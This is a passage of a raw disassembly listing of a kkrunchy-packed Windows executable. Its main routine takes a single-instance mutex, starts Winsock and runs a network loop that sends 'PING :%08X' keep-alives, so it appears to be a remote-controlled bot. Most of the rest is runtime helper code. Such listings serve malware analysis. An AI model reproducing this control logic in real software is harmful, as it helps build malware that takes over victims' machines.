		jnz	short loc_4110EC
		mov	eax, offset byte_4191D0


loc_4110EC:				; CODE XREF: sub_4110B4+31j
		push	edi
		push	200h
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_4059C2
		mov	edi, [esp+14h+arg_0]
		push	1A3h
		lea	eax, [esi+208h]
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		xor	eax, eax
		add	esp, 18h
		cmp	[edi+18Bh], al
		push	dword ptr [esi+4]
		setz	al
		push	offset dword_418DC8
		push	eax
		push	esi
		push	offset sub_410C55
		call	sub_406D58
		add	esp, 14h
		pop	edi


loc_411138:				; CODE XREF: sub_4110B4+10j
		pop	esi
		retn
sub_4110B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41113A	proc near		; CODE XREF: sub_4111BA+4p

arg_0		= dword	ptr  4

		push	offset aRb	; "rb"
		push	[esp+4+arg_0]
		call	sub_411506	; fopen
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411159
		push	eax
		call	sub_411500	; fclose
		pop	ecx
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_411159:				; CODE XREF: sub_41113A+12j
		xor	eax, eax
		retn
sub_41113A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41115C	proc near		; CODE XREF: sub_407A76+763p

arg_0		= dword	ptr  4

		push	esi
		push	offset aRb	; "rb"
		push	[esp+8+arg_0]
		call	sub_411506	; fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4111A5
		push	edi
		push	2
		push	0
		push	esi
		call	sub_411516	; fseek
		push	esi
		call	sub_4114F4	; ftell
		push	0
		push	0
		push	esi
		mov	edi, eax
		call	sub_411516	; fseek
		push	esi
		call	sub_411500	; fclose
		mov	eax, edi
		add	esp, 20h
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4111A5:				; CODE XREF: sub_41115C+15j
		xor	eax, eax
		pop	esi
		retn
sub_41115C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111A9	proc near		; CODE XREF: sub_4111BA+12p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4120B8	; DeleteFileA
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_4111A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111BA	proc near		; CODE XREF: sub_402018+11Fp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41113A
		test	eax, eax
		pop	ecx
		jz	short loc_4111D8
		push	[esp+arg_0]
		call	sub_4111A9
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4111D8:				; CODE XREF: sub_4111BA+Cj
		xor	eax, eax
		retn
sub_4111BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4111DB	proc near		; CODE XREF: sub_407A76+5A6p

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	dword ptr [eax]
		call	sub_40A64A
		pop	ecx
		retn
sub_4111DB	endp

; ---------------------------------------------------------------------------


loc_4111E8:				; CODE XREF: kkrunchy:003F288Dj
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4122A8
		push	offset sub_41175A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_411540
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	2
		call	dword_4120FC	; SetErrorMode
		xor	edi, edi
		mov	[ebp-4], edi
		push	dword_418E0C
		push	dword_418E08
		push	3AEh
		push	dword_418E04
		push	edi
		push	dword_418E00
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp-115Ch]
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 20h
		mov	[ebp-1128h], edi


loc_41125C:				; CODE XREF: kkrunchy:0041146Fj
		cmp	dword ptr [ebp-1128h], 0Ah
		jnz	short loc_41126A
		call	sub_4052DF


loc_41126A:				; CODE XREF: kkrunchy:00411263j
		push	3E8h
		call	dword_4120A4	; Sleep
		lea	eax, [ebp-115Ch]
		push	eax
		push	edi
		push	edi
		call	dword_412100	; CreateMutexA
		mov	[ebp-12F0h], eax
		cmp	eax, edi
		jz	loc_411469
		call	dword_41206C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	loc_411469
		call	sub_402D7B
		call	sub_4045B7
		call	sub_406B98
		call	sub_40EAC4
		call	sub_40B31E
		call	sub_40A42C
		push	10h
		mov	esi, offset dword_418E00
		push	esi
		call	sub_40B55F
		push	10h
		push	esi
		call	sub_40A606
		push	10h
		push	esi
		call	sub_40A67C
		add	esp, 18h
		call	sub_40B480
		mov	dword_419FD0, eax
		call	sub_40B480
		mov	dword_419FD4, eax
		call	sub_40B480
		mov	dword_419FD8, eax
		call	sub_40B480
		mov	dword_419FDC, eax
		push	104h
		lea	eax, [ebp-1120h]
		push	eax
		push	edi
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_411337


loc_411324:				; CODE XREF: kkrunchy:0041134Cj
		push	offset byte_4191D0
		push	offset dword_419ECC
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_41137D
; ---------------------------------------------------------------------------


loc_411337:				; CODE XREF: kkrunchy:00411322j
		lea	eax, [ebp-1120h]
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx


loc_411344:				; CODE XREF: kkrunchy:00411464j
		mov	[ebp-12F4h], eax
		cmp	eax, edi
		jz	short loc_411324
		cmp	byte ptr [ebp+eax-1121h], 5Ch
		jnz	loc_411463
		lea	eax, [ebp+eax-1120h]
		push	eax
		mov	esi, offset dword_419ECC
		push	esi
		call	sub_4114B8	; _mbscpy
		push	esi
		push	offset dword_419FE0
		call	sub_4114B8	; _mbscpy
		add	esp, 10h


loc_41137D:				; CODE XREF: kkrunchy:00411335j
		call	sub_4050D1
		lea	eax, [ebp-12ECh]
		push	eax
		push	202h
		call	dword_412274	; WSAStartup


loc_411394:				; CODE XREF: kkrunchy:0041143Bj
		push	edi
		push	edi
		push	edi
		call	sub_409522
		add	esp, 0Ch
		call	sub_406A40
		mov	[ebp-1124h], edi
		mov	[ebp-101Ch], edi


loc_4113B0:				; CODE XREF: kkrunchy:0041145Ej
		mov	dword ptr [ebp-4], 1


loc_4113B7:				; CODE XREF: kkrunchy:004113F1j
					; kkrunchy:004113F9j
		push	0EA60h
		call	sub_4091A7
		push	eax
		call	sub_403E1F
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4113FB
		cmp	dword ptr [ebp-101Ch], 19h
		jz	short loc_411438
		cmp	dword ptr [ebp-101Ch], 14h
		jnz	short loc_4113F3
		call	sub_40B480
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_4097DB
		pop	ecx


loc_4113F0:				; CODE XREF: kkrunchy:00411436j
		pop	ecx
		jmp	short loc_4113B7
; ---------------------------------------------------------------------------


loc_4113F3:				; CODE XREF: kkrunchy:004113DDj
		inc	dword ptr [ebp-101Ch]
		jmp	short loc_4113B7
; ---------------------------------------------------------------------------


loc_4113FB:				; CODE XREF: kkrunchy:004113CBj
		push	1000h
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_4091A7
		push	eax
		call	sub_403DB2
		add	esp, 0Ch
		mov	[ebp-1124h], eax
		cmp	eax, edi
		jz	short loc_411438
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411438
		mov	[ebp-101Ch], edi
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40A407
		jmp	short loc_4113F0
; ---------------------------------------------------------------------------


loc_411438:				; CODE XREF: kkrunchy:004113D4j
					; kkrunchy:0041141Dj ...
		mov	[ebp-4], edi
		jmp	loc_411394
; ---------------------------------------------------------------------------


loc_411440:				; DATA XREF: kkrunchy:004122B8o
		push	offset aLoop	; "loop"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40287C
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_411456:				; DATA XREF: kkrunchy:004122BCo
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-4], edi
		jmp	loc_4113B0
; ---------------------------------------------------------------------------


loc_411463:				; CODE XREF: kkrunchy:00411356j
		dec	eax
		jmp	loc_411344
; ---------------------------------------------------------------------------


loc_411469:				; CODE XREF: kkrunchy:0041128Cj
					; kkrunchy:0041129Aj
		inc	dword ptr [ebp-1128h]
		jmp	loc_41125C
; ---------------------------------------------------------------------------
		push	offset aEntry	; "entry"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40287C
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	edi, edi
		cmp	dword_4191D8, edi
		jz	short loc_4114AC
		push	offset dword_4190F8
		push	offset dword_418E50
		call	sub_409659
		pop	ecx
		pop	ecx


loc_4114AC:				; CODE XREF: kkrunchy:00411499j
		call	dword_412264	; WSACleanup
		push	edi
		call	sub_41157C	; exit

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114B8	proc near		; CODE XREF: sub_401000+36p
					; sub_401B81+61p ...
		jmp	dword_41213C
sub_4114B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114BE	proc near		; CODE XREF: sub_40110A+64p
					; sub_4014B0+Bp ...
		jmp	dword_4121D0
sub_4114BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114C4	proc near		; CODE XREF: sub_4011C4+6Dp
					; sub_4014B0+1Ap ...
		jmp	dword_4121CC
sub_4114C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114CA	proc near		; CODE XREF: sub_4011C4+20p
					; sub_4011C4+283p ...
		jmp	dword_4121C8
sub_4114CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114D0	proc near		; CODE XREF: sub_4011C4+18p
					; sub_401621+1Bp ...
		jmp	dword_4121C4
sub_4114D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114D6	proc near		; CODE XREF: sub_4014B0+43p
					; sub_401EA8+84p ...
		jmp	dword_4121C0
sub_4114D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114DC	proc near		; CODE XREF: sub_401571+97p
					; sub_403EA9+170p ...
		jmp	dword_4121BC
sub_4114DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114E2	proc near		; CODE XREF: sub_401571+30p
					; sub_401571+4Bp ...
		jmp	dword_4121B8
sub_4114E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114E8	proc near		; CODE XREF: sub_401621+CFp
					; sub_401621+DDp ...
		jmp	dword_4121B4
sub_4114E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114EE	proc near		; CODE XREF: sub_4018D5+8Ap
					; sub_4027CB+45p ...
		jmp	dword_4121B0
sub_4114EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114F4	proc near		; CODE XREF: sub_401985+150p
					; sub_401B81+120p ...
		jmp	dword_4121AC
sub_4114F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4114FA	proc near		; CODE XREF: sub_401985+122p
					; sub_402018+166p ...
		jmp	dword_4121A8
sub_4114FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411500	proc near		; CODE XREF: sub_401985+85p
					; sub_401985+1D8p ...
		jmp	dword_4121A4
sub_411500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411506	proc near		; CODE XREF: sub_401985+42p
					; sub_401B81+F1p ...
		jmp	dword_4121A0
sub_411506	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411510	proc near		; CODE XREF: sub_401B81+1EAp
					; sub_401B81+232p ...
		jmp	dword_41219C
sub_411510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411516	proc near		; CODE XREF: sub_401B81+11Ap
					; sub_401B81+12Bp ...
		jmp	dword_412198
sub_411516	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41151C	proc near		; CODE XREF: sub_401EA8+2Fp
					; sub_401EA8+4Ep ...
		jmp	dword_412194
sub_41151C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411522	proc near		; CODE XREF: sub_402018+DDp
					; sub_408E1A+A2p ...
		jmp	dword_412190
sub_411522	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411528	proc near		; CODE XREF: sub_402018+98p
					; sub_402018+B8p ...
		jmp	dword_41218C
sub_411528	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41152E	proc near		; CODE XREF: sub_402018+47p
					; sub_40311D+1Fp ...
		jmp	dword_412188
sub_41152E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411540	proc near		; CODE XREF: sub_402EFD+8p
					; sub_403E1F+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_411560


loc_41154C:				; CODE XREF: sub_411540+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41154C


loc_411560:				; CODE XREF: sub_411540+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_411540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411570	proc near		; CODE XREF: sub_40324A+Dp
					; sub_40324A+26p ...
		jmp	dword_412184
sub_411570	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411576	proc near		; CODE XREF: sub_404639:loc_404679p
		jmp	dword_412180
sub_411576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41157C	proc near		; CODE XREF: sub_4050D1+209p
					; kkrunchy:004114B3p
		jmp	dword_41217C
sub_41157C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411590	proc near		; CODE XREF: sub_405ECC+53p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4115B1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_411601
; ---------------------------------------------------------------------------


loc_4115B1:				; CODE XREF: sub_411590+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4115BF:				; CODE XREF: sub_411590+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4115BF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4115EA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4115EA
		jb	short loc_4115F2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4115F2


loc_4115EA:				; CODE XREF: sub_411590+4Aj
					; sub_411590+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4115F2:				; CODE XREF: sub_411590+52j
					; sub_411590+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_411601:				; CODE XREF: sub_411590+1Fj
		pop	ebx
		retn	10h
sub_411590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411610	proc near		; CODE XREF: sub_405ECC+2Fp
					; sub_405ECC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_411632
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_411673
; ---------------------------------------------------------------------------


loc_411632:				; CODE XREF: sub_411610+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_411640:				; CODE XREF: sub_411610+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_411640
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41166E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41166E
		jb	short loc_41166F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41166F


loc_41166E:				; CODE XREF: sub_411610+4Ej
					; sub_411610+54j
		dec	esi


loc_41166F:				; CODE XREF: sub_411610+56j
					; sub_411610+5Cj
		xor	edx, edx
		mov	eax, esi


loc_411673:				; CODE XREF: sub_411610+20j
		pop	esi
		pop	ebx
		retn	10h
sub_411610	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411678	proc near		; CODE XREF: sub_4063E4+171p
					; sub_406A40+5Ap ...
		jmp	dword_412178
sub_411678	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411680	proc near		; CODE XREF: sub_4067B2+5Fp
					; sub_40682C+A6p
		cmp	cl, 40h
		jnb	short loc_41169A
		cmp	cl, 20h
		jnb	short loc_411690
		shrd	eax, edx, cl
		shr	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_411690:				; CODE XREF: sub_411680+8j
		mov	eax, edx
		xor	edx, edx
		and	cl, 1Fh
		shr	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41169A:				; CODE XREF: sub_411680+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_411680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4116A0	proc near		; CODE XREF: sub_406A40+53p
					; sub_406AB7+53p ...
		jmp	dword_412174
sub_4116A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4116B0	proc near		; CODE XREF: sub_406A40+40p
					; sub_406AB7+40p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_4116D1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_4116D1:				; CODE XREF: sub_4116B0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_4116ED
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_4116ED:				; CODE XREF: sub_4116B0+27j
		or	eax, eax
		jnz	short loc_411709
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41174A
; ---------------------------------------------------------------------------


loc_411709:				; CODE XREF: sub_4116B0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_411717:				; CODE XREF: sub_4116B0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_411717
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_411745
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_411745
		jb	short loc_411746
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_411746


loc_411745:				; CODE XREF: sub_4116B0+85j
					; sub_4116B0+8Bj
		dec	esi


loc_411746:				; CODE XREF: sub_4116B0+8Dj
					; sub_4116B0+93j
		xor	edx, edx
		mov	eax, esi


loc_41174A:				; CODE XREF: sub_4116B0+57j
		dec	edi
		jnz	short loc_411754
		neg	edx
		neg	eax
		sbb	edx, 0


loc_411754:				; CODE XREF: sub_4116B0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_4116B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41175A	proc near		; DATA XREF: sub_406BBC+Ao
					; sub_406CB2+Ao ...
		jmp	dword_412170
sub_41175A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411760	proc near		; CODE XREF: sub_406C5D+31p
					; sub_406D58+D0p
		jmp	dword_41216C
sub_411760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411766	proc near		; CODE XREF: sub_406D58+A4p
		jmp	dword_412168
sub_411766	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41176C	proc near		; CODE XREF: sub_407237+B0p
					; sub_407237+B6p ...
		jmp	dword_412164
sub_41176C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411772	proc near		; CODE XREF: sub_407237+3Ep
					; sub_407237+62p
		jmp	dword_412160
sub_411772	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411778	proc near		; CODE XREF: sub_407237+19p
					; sub_4072FC+16Fp
		jmp	dword_41215C
sub_411778	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41177E	proc near		; CODE XREF: sub_40765C+E0p
					; sub_407A76+165p ...
		jmp	dword_412158
sub_41177E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411784	proc near		; CODE XREF: sub_4079AC+54p
		jmp	dword_412154
sub_411784	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41178A	proc near		; CODE XREF: sub_407A76+E87p
					; kkrunchy:0040B657p ...
		jmp	dword_412150
sub_41178A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411790	proc near		; CODE XREF: sub_4095E7+38p
					; sub_409659+38p ...
		jmp	dword_41214C
sub_411790	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_411796	proc near		; CODE XREF: sub_40A7C4+31p
					; sub_40A7C4+54p
		jmp	dword_412148
sub_411796	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41179C	proc near		; CODE XREF: sub_40A82E+2Fp
					; sub_40A82E+58p
		jmp	dword_412144
sub_41179C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4117A2	proc near		; CODE XREF: sub_40A82E+17p
		jmp	dword_412140
sub_4117A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4117A8	proc near		; CODE XREF: sub_40C135+67p
					; sub_40CEBE+301p ...
		jmp	dword_412138
sub_4117A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4117AE	proc near		; CODE XREF: sub_40CEBE+3AFp
					; sub_40CEBE+425p
		jmp	dword_412134
sub_4117AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4117B4	proc near		; CODE XREF: sub_40CEBE+1E5p
					; sub_40CEBE+23Cp
		jmp	dword_412130
sub_4117B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4117BA	proc near		; CODE XREF: sub_40CEBE+1AAp
		jmp	dword_41212C
sub_4117BA	endp

; ---------------------------------------------------------------------------


loc_4117C0:				; CODE XREF: kkrunchy:00411985j
		jmp	dword_412128
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4117C8	proc near		; CODE XREF: sub_4101E6+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_4117C8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4117E8	proc near		; CODE XREF: sub_403767+2Fp
					; sub_403767+151p ...
		jmp	dword_41220C
sub_4117E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4117F0	proc near		; CODE XREF: sub_4101E6+6Dp
					; sub_4101E6+DAp ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_41185F
		retn	4
sub_4117F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4117FE	proc near		; CODE XREF: sub_4101E6+8Cp
					; sub_4101E6+15Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_411850
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_419170
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_411850
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_411850
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_4121DC
		test	eax, eax
		jz	short loc_411850
		and	[ebp+var_4], 0


loc_411850:				; CODE XREF: sub_4117FE+Dj
					; sub_4117FE+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41185F
		leave
		retn	0Ch
sub_4117FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41185F	proc near		; CODE XREF: sub_4117F0+6p
					; sub_4117FE+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_411883
		lea	eax, [ebp+var_10]
		push	offset dword_4123C8
		push	eax
		call	sub_411952	; _CxxThrowException
sub_41185F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_411883	proc near		; CODE XREF: sub_41185F+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4122C4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4118AF
		cmp	[esp+4+arg_8], 0
		jz	short loc_4118AF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_4118AF:				; CODE XREF: sub_411883+1Dj
					; sub_411883+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_411883	endp


; =============== S U B	R O U T	I N E =======================================



sub_4118B5	proc near		; DATA XREF: kkrunchy:off_4122C4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4118FE
		test	[esp+4+arg_0], 1
		jz	short loc_4118CB
		push	esi
		call	sub_41176C
		pop	ecx


loc_4118CB:				; CODE XREF: sub_4118B5+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4118B5	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4122C4
		jz	short loc_4118F8
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_4118F8:				; CODE XREF: kkrunchy:004118F0j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4118FE	proc near		; CODE XREF: sub_4118B5+3p
					; DATA XREF: kkrunchy:004123CCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4122C4
		test	eax, eax
		jz	short loc_411914
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


